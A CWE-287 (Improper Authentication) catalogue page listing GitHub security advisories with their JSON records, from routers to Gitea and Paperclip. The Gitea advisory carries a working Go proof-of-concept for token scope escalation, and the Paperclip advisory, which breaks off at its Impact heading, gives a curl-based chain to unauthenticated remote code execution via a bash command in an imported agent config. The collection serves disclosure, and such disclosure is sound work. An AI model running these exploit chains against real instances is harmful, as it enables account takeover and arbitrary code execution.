Common Weakness Enumeration

CWE-287

Discouraged

Improper Authentication

Abstraction: Class · Status: Draft

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

6877 vulnerabilities reference this CWE, most recent first.

GHSA-683H-34R2-XC99

Vulnerability from github – Published: 2024-10-03 21:31 – Updated: 2024-10-04 00:31
VLAI
Details

DrayTek Vigor310 devices through 4.3.2.6 use unencrypted HTTP for authentication requests.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-41589"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-03T19:15:04Z",
    "severity": "HIGH"
  },
  "details": "DrayTek Vigor310 devices through 4.3.2.6 use unencrypted HTTP for authentication requests.",
  "id": "GHSA-683h-34r2-xc99",
  "modified": "2024-10-04T00:31:13Z",
  "published": "2024-10-03T21:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41589"
    },
    {
      "type": "WEB",
      "url": "https://www.forescout.com/resources/draybreak-draytek-research"
    },
    {
      "type": "WEB",
      "url": "https://www.forescout.com/resources/draytek14-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-683J-3FF6-HH2X

Vulnerability from github – Published: 2026-07-21 20:24 – Updated: 2026-07-21 20:24
VLAI
Summary
Gitea: Privilege Escalation via Access Token Scope Escalation in API
Details

Gitea's API endpoint for creating Personal Access Tokens (POST /users/{username}/tokens) is protected by a middleware (reqBasicOrRevProxyAuth) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the Authorization: Basic <token>:x-oauth-basic format, the Basic auth handler validates it and sets AuthedMethod="basic", causing IsBasicAuth=true and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling — it will create a new token with any requested scope regardless of the caller's scope. An attacker with a restricted token (e.g. write:user from a leaked CI secret) can therefore create a fully-privileged all-scoped token without knowing the account password.

Data flow

Step 1 - Token extracted from Basic auth header

When the attacker sends Authorization: Basic base64(:x-oauth-basic), parseAuthBasic detects that the password is "x-oauth-basic" and treats the username field as the token:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L55-L64

VerifyAuthToken then validates the token against the database and sets LoginMethod = "access_token" and ApiTokenScope to the token's actual scope (write:user):

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L100-L106

Step 2 - AuthedMethod is set to "basic", not "access_token"

Basic.Verify() returns the user successfully, so group.Verify() sets AuthedMethod to the method's name — "basic" — regardless of whether a password or token was used:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/group.go#L63-L65

Step 3 - IsBasicAuth is incorrectly set to true

AuthShared computes IsBasicAuth by comparing AuthedMethod against the constant "basic". Since step 2 set that field to "basic" for a token-authenticated request, the flag is wrong:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/common/auth.go#L27

Step 4 - The guard is bypassed

reqBasicOrRevProxyAuth checks only ctx.IsBasicAuth. Because that flag is true, the middleware passes and the request reaches CreateAccessToken:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/api.go#L392-L401

Step 5 - No scope ceiling in the handler

CreateAccessToken normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of ApiTokenScope (write:user):

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/app.go#L119-L128

Reproducing

tests/integration/api_token_scope_escalation_test.go

package integration

import (
    "net/http"
    "testing"

    auth_model "gitea.dev/models/auth"
    "gitea.dev/models/unittest"
    user_model "gitea.dev/models/user"
    api "gitea.dev/modules/structs"
    "gitea.dev/tests"

    "github.com/stretchr/testify/assert"
    "github.com/stretchr/testify/require"
)

// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two
// interconnected vulnerabilities that together allow full scope escalation:
//
//  1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in
//     the Authorization: Basic "<token>:x-oauth-basic" format. The Basic auth
//     handler sets AuthedMethod="basic" (the method name), so IsBasicAuth=true
//     even though the credential is a token, not a password.
//
//  2. CreateAccessToken performs no scope-ceiling check — it never verifies that
//     the requested scopes are a subset of the caller's token scopes.
//
// Combined effect: an attacker with a write:user-scoped token can create a new
// token with the "all" scope, gaining full access to the account.
func TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) {
    defer tests.PrepareTestEnv(t)()

    // Non-admin user — escalation is meaningful and not trivially justified.
    user := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})

    // Step 1 — Obtain a legitimately restricted token via password-based Basic auth.
    // Only write:user scope is granted; repository, admin, etc. are excluded.
    restrictedToken := createAPIAccessTokenWithoutCleanUp(t, "poc-restricted", user,
        []auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser})
    defer deleteAPIAccessToken(t, restrictedToken, user)

    // Confirm the restricted token is blocked from repository-scoped endpoints.
    // This establishes the baseline: write:user does not imply read:repository.
    req := NewRequest(t, "GET", "/api/v1/repos/search").
        AddTokenAuth(restrictedToken.Token)
    MakeRequest(t, req, http.StatusForbidden)

    // Step 2 — Exploit: supply the restricted token as Basic auth credentials.
    // Authorization: Basic base64("<token>:x-oauth-basic")
    //
    // Basic.Verify() validates the token and returns the user. group.Verify() then
    // sets AuthedMethod="basic" (the method name). auth.go maps that to
    // IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no
    // password was provided. CreateAccessToken then creates the token with the
    // requested "all" scope without checking whether it exceeds the caller's scope.
    payload := map[string]any{
        "name":   "poc-escalated",
        "scopes": []string{"all"},
    }
    req = NewRequestWithJSON(t, "POST", "/api/v1/users/"+user.LoginName+"/tokens", payload)
    req.SetBasicAuth(restrictedToken.Token, "x-oauth-basic")

    // This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed)
    // but is currently 201, confirming the vulnerability.
    resp := MakeRequest(t, req, http.StatusCreated)

    escalatedToken := DecodeJSON(t, resp, &api.AccessToken{})
    require.NotNil(t, escalatedToken)
    defer deleteAPIAccessToken(t, *escalatedToken, user)

    // Step 3 — The escalated token carries the "all" scope.
    assert.Contains(t, escalatedToken.Scopes, "all",
        "escalated token scope must be 'all'; original token only had write:user")

    // Step 4 — The escalated token can now reach endpoints blocked to the original
    // token, confirming real privilege gain beyond write:user.
    req = NewRequest(t, "GET", "/api/v1/repos/search").
        AddTokenAuth(escalatedToken.Token)
    MakeRequest(t, req, http.StatusOK)
}
git clone https://github.com/go-gitea/gitea
cd gitea
git checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e

# Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`.

go test -run '^TestAPIPrivilegeEscalationViaBasicAuthToken$' ./tests/integration/

A passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56654"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:24:25Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Gitea\u0027s API endpoint for creating Personal Access Tokens (`POST /users/{username}/tokens`) is protected by a middleware (`reqBasicOrRevProxyAuth`) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the `Authorization: Basic \u003ctoken\u003e:x-oauth-basic` format, the Basic auth handler validates it and sets `AuthedMethod=\"basic\"`, causing `IsBasicAuth=true` and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling \u2014 it will create a new token with any requested scope regardless of the caller\u0027s scope. An attacker with a restricted token (e.g. `write:user` from a leaked CI secret) can therefore create a fully-privileged `all`-scoped token without knowing the account password.\n\n### Data flow\n\n#### Step 1 - Token extracted from Basic auth header\n  \nWhen the attacker sends Authorization: Basic base64(\u003ctoken\u003e:x-oauth-basic), parseAuthBasic detects that the password is \"x-oauth-basic\" and treats the username field as the token:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L55-L64\n\n`VerifyAuthToken` then validates the token against the database and sets `LoginMethod = \"access_token\"` and `ApiTokenScope` to the token\u0027s actual scope (`write:user`):\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L100-L106\n\n#### Step 2 - `AuthedMethod` is set to `\"basic\"`, not `\"access_token\"`\n\n`Basic.Verify()` returns the user successfully, so `group.Verify()` sets `AuthedMethod` to the method\u0027s name \u2014 `\"basic\"` \u2014 regardless of whether a password or token was used:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/group.go#L63-L65\n\n#### Step 3 - `IsBasicAuth` is incorrectly set to true\n\n`AuthShared` computes `IsBasicAuth` by comparing `AuthedMethod` against the constant `\"basic\"`. Since step 2 set that field to \"basic\" for a token-authenticated request, the flag is wrong:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/common/auth.go#L27\n\n#### Step 4 - The guard is bypassed\n\n`reqBasicOrRevProxyAuth` checks only `ctx.IsBasicAuth`. Because that flag is `true`, the middleware passes and the request reaches `CreateAccessToken`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/api.go#L392-L401\n\n#### Step 5 - No scope ceiling in the handler\n\n`CreateAccessToken` normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of `ApiTokenScope (write:user)`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/app.go#L119-L128\n\n### Reproducing\n\n`tests/integration/api_token_scope_escalation_test.go`\n```go\npackage integration\n\nimport (\n\t\"net/http\"\n\t\"testing\"\n\n\tauth_model \"gitea.dev/models/auth\"\n\t\"gitea.dev/models/unittest\"\n\tuser_model \"gitea.dev/models/user\"\n\tapi \"gitea.dev/modules/structs\"\n\t\"gitea.dev/tests\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\n// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two\n// interconnected vulnerabilities that together allow full scope escalation:\n//\n//  1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in\n//     the Authorization: Basic \"\u003ctoken\u003e:x-oauth-basic\" format. The Basic auth\n//     handler sets AuthedMethod=\"basic\" (the method name), so IsBasicAuth=true\n//     even though the credential is a token, not a password.\n//\n//  2. CreateAccessToken performs no scope-ceiling check \u2014 it never verifies that\n//     the requested scopes are a subset of the caller\u0027s token scopes.\n//\n// Combined effect: an attacker with a write:user-scoped token can create a new\n// token with the \"all\" scope, gaining full access to the account.\nfunc TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) {\n\tdefer tests.PrepareTestEnv(t)()\n\n\t// Non-admin user \u2014 escalation is meaningful and not trivially justified.\n\tuser := unittest.AssertExistsAndLoadBean(t, \u0026user_model.User{ID: 2})\n\n\t// Step 1 \u2014 Obtain a legitimately restricted token via password-based Basic auth.\n\t// Only write:user scope is granted; repository, admin, etc. are excluded.\n\trestrictedToken := createAPIAccessTokenWithoutCleanUp(t, \"poc-restricted\", user,\n\t\t[]auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser})\n\tdefer deleteAPIAccessToken(t, restrictedToken, user)\n\n\t// Confirm the restricted token is blocked from repository-scoped endpoints.\n\t// This establishes the baseline: write:user does not imply read:repository.\n\treq := NewRequest(t, \"GET\", \"/api/v1/repos/search\").\n\t\tAddTokenAuth(restrictedToken.Token)\n\tMakeRequest(t, req, http.StatusForbidden)\n\n\t// Step 2 \u2014 Exploit: supply the restricted token as Basic auth credentials.\n\t// Authorization: Basic base64(\"\u003ctoken\u003e:x-oauth-basic\")\n\t//\n\t// Basic.Verify() validates the token and returns the user. group.Verify() then\n\t// sets AuthedMethod=\"basic\" (the method name). auth.go maps that to\n\t// IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no\n\t// password was provided. CreateAccessToken then creates the token with the\n\t// requested \"all\" scope without checking whether it exceeds the caller\u0027s scope.\n\tpayload := map[string]any{\n\t\t\"name\":   \"poc-escalated\",\n\t\t\"scopes\": []string{\"all\"},\n\t}\n\treq = NewRequestWithJSON(t, \"POST\", \"/api/v1/users/\"+user.LoginName+\"/tokens\", payload)\n\treq.SetBasicAuth(restrictedToken.Token, \"x-oauth-basic\")\n\n\t// This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed)\n\t// but is currently 201, confirming the vulnerability.\n\tresp := MakeRequest(t, req, http.StatusCreated)\n\n\tescalatedToken := DecodeJSON(t, resp, \u0026api.AccessToken{})\n\trequire.NotNil(t, escalatedToken)\n\tdefer deleteAPIAccessToken(t, *escalatedToken, user)\n\n\t// Step 3 \u2014 The escalated token carries the \"all\" scope.\n\tassert.Contains(t, escalatedToken.Scopes, \"all\",\n\t\t\"escalated token scope must be \u0027all\u0027; original token only had write:user\")\n\n\t// Step 4 \u2014 The escalated token can now reach endpoints blocked to the original\n\t// token, confirming real privilege gain beyond write:user.\n\treq = NewRequest(t, \"GET\", \"/api/v1/repos/search\").\n\t\tAddTokenAuth(escalatedToken.Token)\n\tMakeRequest(t, req, http.StatusOK)\n}\n```\n\n```bash\ngit clone https://github.com/go-gitea/gitea\ncd gitea\ngit checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e\n\n# Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`.\n\ngo test -run \u0027^TestAPIPrivilegeEscalationViaBasicAuthToken$\u0027 ./tests/integration/\n```\n\nA passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.",
  "id": "GHSA-683j-3ff6-hh2x",
  "modified": "2026-07-21T20:24:26Z",
  "published": "2026-07-21T20:24:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-683j-3ff6-hh2x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38406"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38426"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gitea: Privilege Escalation via Access Token Scope Escalation in API"
}

GHSA-6857-WWFR-22GX

Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31
VLAI
Details

Vulnerability in the Oracle Transportation Management product of Oracle Supply Chain (component: Authentication). The supported version that is affected is 6.5.3. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Transportation Management. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle Transportation Management accessible data. CVSS 3.1 Base Score 4.3 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-60434"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T22:17:45Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the Oracle Transportation Management product of Oracle Supply Chain (component: Authentication).   The supported version that is affected is 6.5.3. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Transportation Management.  Successful attacks of this vulnerability can result in  unauthorized read access to a subset of Oracle Transportation Management accessible data. CVSS 3.1 Base Score 4.3 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N).",
  "id": "GHSA-6857-wwfr-22gx",
  "modified": "2026-07-22T00:31:41Z",
  "published": "2026-07-22T00:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60434"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-68GF-2FWF-GGRM

Vulnerability from github – Published: 2026-08-17 03:30 – Updated: 2026-08-17 03:30
VLAI
Details

A flaw has been found in LB-Link WR1210M 1.0.3. This impacts the function main of the file /www/cgi-bin/backup.cgi of the component Backup Endpoint. This manipulation causes missing authentication. The attack is only possible within the local network. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-19971"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-17T02:16:41Z",
    "severity": "MODERATE"
  },
  "details": "A flaw has been found in LB-Link WR1210M 1.0.3. This impacts the function main of the file /www/cgi-bin/backup.cgi of the component Backup Endpoint. This manipulation causes missing authentication. The attack is only possible within the local network. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-68gf-2fwf-ggrm",
  "modified": "2026-08-17T03:30:22Z",
  "published": "2026-08-17T03:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19971"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-19971"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/873139"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/391148"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/391148/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-68HV-QF49-HR4M

Vulnerability from github – Published: 2022-12-27 18:30 – Updated: 2023-01-05 06:30
VLAI
Details

Some Dahua software products have a vulnerability of unauthenticated traceroute host from remote DSS Server. After bypassing the firewall access control policy, by sending a specific crafted packet to the vulnerable interface, an attacker could get the traceroute results.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-45433"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-27T18:15:00Z",
    "severity": "LOW"
  },
  "details": "Some Dahua software products have a vulnerability of unauthenticated traceroute host from remote DSS Server. After bypassing the firewall access control policy, by sending a specific crafted packet to the vulnerable interface, an attacker could get the traceroute results.",
  "id": "GHSA-68hv-qf49-hr4m",
  "modified": "2023-01-05T06:30:23Z",
  "published": "2022-12-27T18:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45433"
    },
    {
      "type": "WEB",
      "url": "https://www.dahuasecurity.com/support/cybersecurity/details/1137"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-68HW-VFH7-XVG8

Vulnerability from github – Published: 2019-06-13 20:38 – Updated: 2021-08-16 15:25
VLAI
Summary
Forced Logout in keycloak-connect
Details

Versions of keycloak-connect prior to 4.4.0 are vulnerable to Forced Logout. The package fails to validate JWT signatures on the /k_logout route, allowing attackers to logout users and craft malicious JWTs with NBF values that prevent user access indefinitely.

Recommendation

Upgrade to version 4.4.0 or later.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "keycloak-connect"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-10157"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-06-13T20:28:41Z",
    "nvd_published_at": "2019-06-12T14:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Versions of `keycloak-connect` prior to 4.4.0 are vulnerable to Forced Logout. The package fails to validate JWT signatures on the `/k_logout` route, allowing attackers to logout users and craft malicious JWTs with NBF values that prevent user access indefinitely.\n\n\n## Recommendation\n\nUpgrade to version 4.4.0 or later.",
  "id": "GHSA-68hw-vfh7-xvg8",
  "modified": "2021-08-16T15:25:07Z",
  "published": "2019-06-13T20:38:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10157"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak-nodejs-connect/commit/55e54b55d05ba636bc125a8f3d39f0052d13f8f6"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10157"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-KEYCLOAKNODEJSCONNECT-449920"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/978"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/108734"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Forced Logout in keycloak-connect"
}

GHSA-68M9-5QC5-G75W

Vulnerability from github – Published: 2023-11-05 00:33 – Updated: 2023-11-14 18:30
VLAI
Details

An issue in Beijing Yunfan Internet Technology Co., Ltd, Yunfan Learning Examination System v.6.5 allows a remote attacker to obtain sensitive information via the password parameter in the login function.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-46963"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-04T23:15:08Z",
    "severity": "MODERATE"
  },
  "details": "An issue in Beijing Yunfan Internet Technology Co., Ltd, Yunfan Learning Examination System v.6.5 allows a remote attacker to obtain sensitive information via the password parameter in the login function.",
  "id": "GHSA-68m9-5qc5-g75w",
  "modified": "2023-11-14T18:30:21Z",
  "published": "2023-11-05T00:33:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46963"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NBSLclass/glassfish/blob/main/Proof-of-vulnerability.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-68QG-G8MG-6PR7

Vulnerability from github – Published: 2026-04-10 21:08 – Updated: 2026-04-27 16:19
VLAI
Summary
paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass
Details

Summary

An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in authenticated mode with default configuration. No user interaction, no credentials, just the target's address. The entire chain is six API calls.

I verified every step against the latest version. I have a fully automated PoC script and a video recording available.

Discord: sagi03581

Steps to Reproduce

The attack chains four independent flaws to escalate from zero access to RCE:

Step 1: Create an account (no invite, no email verification)

curl -s -X POST -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password":"P@ssw0rd123","name":"attacker"}' \
  http://<target>:3100/api/auth/sign-up/email

Returns a valid account immediately. No invite token required, no email verification.

This works because PAPERCLIP_AUTH_DISABLE_SIGN_UP defaults to false in server/src/config.ts:169-173:

const authDisableSignUp: boolean =
  disableSignUpFromEnv !== undefined
    ? disableSignUpFromEnv === "true"
    : (fileConfig?.auth?.disableSignUp ?? false);   // default: open

And email verification is hardcoded off in server/src/auth/better-auth.ts:89-93:

emailAndPassword: {
  enabled: true,
  requireEmailVerification: false,
  disableSignUp: config.authDisableSignUp,
},

The environment variable isn't documented in the deployment guide, so operators don't know it exists.

Step 2: Sign in

curl -s -v -X POST -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password":"P@ssw0rd123"}' \
  http://<target>:3100/api/auth/sign-in/email

Capture the session cookie from the Set-Cookie header.

Step 3: Create a CLI auth challenge and self-approve it

Create the challenge (no authentication required at all):

curl -s -X POST -H "Content-Type: application/json" \
  -d '{"command":"test"}' \
  http://<target>:3100/api/cli-auth/challenges

The response includes a token and a boardApiToken. The handler at server/src/routes/access.ts:1638-1659 has no actor check -- anyone can create a challenge.

Now approve it with our own session:

curl -s -X POST \
  -H "Cookie: <session-cookie>" \
  -H "Content-Type: application/json" \
  -H "Origin: http://<target>:3100" \
  -d '{"token":"<token-from-above>"}' \
  http://<target>:3100/api/cli-auth/challenges/<id>/approve

The approval handler at server/src/routes/access.ts:1687-1704 checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:

if (req.actor.type !== "board" || (!req.actor.userId && !isLocalImplicit(req))) {
  throw unauthorized("Sign in before approving CLI access");
}
// no check that approver !== creator
const userId = req.actor.userId ?? "local-board";
const approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);

The boardApiToken from step 3 is now a persistent API key tied to our account.

Step 4: Create a company and deploy an agent via import (authorization bypass)

This is the critical flaw. The direct company creation endpoint correctly requires instance admin:

server/src/routes/companies.ts:260-264:

router.post("/", validate(createCompanySchema), async (req, res) => {
  assertBoard(req);
  if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) {
    throw forbidden("Instance admin required");
  }
});

But the import endpoint does not:

server/src/routes/companies.ts:170-176:

router.post("/import", validate(companyPortabilityImportSchema), async (req, res) => {
  assertBoard(req);                                     // only checks board type
  if (req.body.target.mode === "existing_company") {
    assertCompanyAccess(req, req.body.target.companyId);  // only for existing
  }
  // NO assertInstanceAdmin for "new_company" mode
  const result = await portability.importBundle(req.body, ...);
});

assertInstanceAdmin isn't even imported in companies.ts (line 27 only imports assertBoard, assertCompanyAccess, getActorInfo), while it is imported and used in other route files like agents.ts.

The import also accepts a .paperclip.yaml in the bundle that specifies agent adapter configuration. The process adapter takes a command and args and calls spawn() directly with zero sandboxing. The import service passes the full adapterConfig through without validation (server/src/services/company-portability.ts:3955-3981).

curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
  -H "Content-Type: application/json" \
  -H "Origin: http://<target>:3100" \
  -d '{
    "source": {"type": "inline", "files": {
      "COMPANY.md": "---\nname: attacker-corp\nslug: attacker-corp\n---\nx",
      "agents/pwn/AGENTS.md": "---\nkind: agent\nname: pwn\nslug: pwn\nrole: engineer\n---\nx",
      ".paperclip.yaml": "agents:\n  pwn:\n    icon: terminal\n    adapter:\n      type: process\n      config:\n        command: bash\n        args:\n          - -c\n          - id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt"
    }},
    "target": {"mode": "new_company", "newCompanyName": "attacker-corp"},
    "include": {"company": true, "agents": true},
    "agents": "all"
  }' \
  http://<target>:3100/api/companies/import

Returns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.

Step 5: Trigger the agent

curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
  -H "Content-Type: application/json" \
  -H "Origin: http://<target>:3100" \
  -d '{}' \
  http://<target>:3100/api/agents/<agent-id>/wakeup

The wakeup handler at server/src/routes/agents.ts:2073-2085 only checks assertCompanyAccess, which passes because the attacker created the company. Paperclip spawns bash -c "id > /tmp/pwned.txt && ..." as the server's OS user.

Proof of Concept

I have a self-contained bash script that runs the full chain automatically:

./poc_exploit.sh http://<target>:3100

It creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.

Impact

